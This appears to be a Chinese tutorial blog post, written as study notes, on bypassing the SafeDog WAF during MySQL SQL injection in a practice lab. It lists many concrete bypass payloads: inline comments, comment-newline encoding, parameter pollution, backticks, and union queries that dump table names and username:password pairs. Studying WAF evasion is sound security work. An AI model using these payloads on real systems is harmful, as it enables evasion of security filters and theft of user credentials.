SQL注入bypass学习

Posted cl0wn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入bypass学习相关的知识,希望对你有一定的参考价值。

0x00 前言

练习sql注入过程中经常会遇到一些WAF的拦截,在网上找相关文章进行学习,并通过利用安全狗来练习mysql环境下的bypass。

0x01 一些特殊字符

1.注释符号

/*!*/:内联注释,/*!12345union*/select等效union select

/**/:注释符号,/*/**/等效于/**/

-- +:--空格加任意字符

;%00

2.其他符号

%23%0a:注释换行符
&、&&、|、||:逻辑操作符
``:反引号

 

0x02 安全狗版本

版本:网站安全狗(Apache版) 4.0.26550

技术图片

 

0x03 and绕过

首先测试语句and 1=1拦截情况

and        //不拦截
and 1=1    //拦截
and 1      //拦截
and a      //不拦截
and ‘a’    //拦截

技术图片

经测试发现and后面跟数字型或字符型时会被拦截

绕过方法有两种

1.使用其他字符替换and

使用&的url编码%26替换and进行绕过

技术图片

2.使用-1=-1和-1=-2替换绕过

可能对负数没做限制,也可能是 – 绕过了正则匹配

and -1=-1-- +
and -1=-2-- +

技术图片

 

 技术图片

0x04 绕过order by拦截

order       //不拦截
by          //不拦截
order by    //拦截

技术图片

经过测试,此处有三种方法可以绕过:

1.注释换行绕过

order--%0aby	//拦截——了解到这是最初的姿势,不过现已经失效
order%23%0aby	//不拦截——%23:注释符,%0a换行符

技术图片

2.内联注释加参数污染绕过

order /*!by*/               拦截
order/*!/*55555*/by*/       拦截
order/*!/*!50553*/by*/      拦截
order/*!/*!50553test*/by*/  不拦截但报错
order/*!/*!50554test*/by*/  不拦截

数字加字母组合可绕过,经fuzz测试,当数字大于50553时不报错

技术图片

3.hpp参数污染绕过

在跟服务器交互的过程中,http允许 get 或者post多次传同一参数值,造成覆盖达到一些绕过waf的效果。在php/apache 中,它总解析最后一个id

?id=1‘ /*&id=1‘order by 3-- +*/

技术图片

0x05 绕过union select拦截

1.注释换行加参数污染绕过

单纯使用注释换行符被拦截,经测试在注释符和换行符间加任意数字字母字符绕过

union%23a%0aselect 1,2,3-- +

技术图片

 

2.内联注释加参数绕过

同order by 绕过

技术图片

3.hpp参数污染绕过

同order by 绕过

?id=1‘ /*&id=‘union select 1,database(),3-- +*/

技术图片

 

0x06 database()拦截绕过

直接联合查询database()会被拦截

1.联合查询绕过

/*!database()*/    拦截
database/*!()*/    不拦截
database/*!(*/)    不拦截

2.hpp参数污染的语句中直接查询

后续查询均可使用此方法绕过

技术图片

 

0x07 查表名、列名、字段拦截绕过

经过测试,可以使用两种方法绕过

1.内联注释

对table_name、column_name和字段名使用内联注释绕过限制

union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +
union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +
union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +
union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +

技术图片

2.反引号

对information_schema使用反引号绕过

union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+

技术图片

以上是关于SQL注入bypass学习的主要内容,如果未能解决你的问题,请参考以下文章

Sql注入Bypass绕过技巧.pdf

Bypass 360主机卫士SQL注入防御(多姿势)

PHP代码审计 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

Bypass X-WAF SQL注入防御(多姿势)

PHP代码审计 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

精华 | SQL注入万能Bypass技巧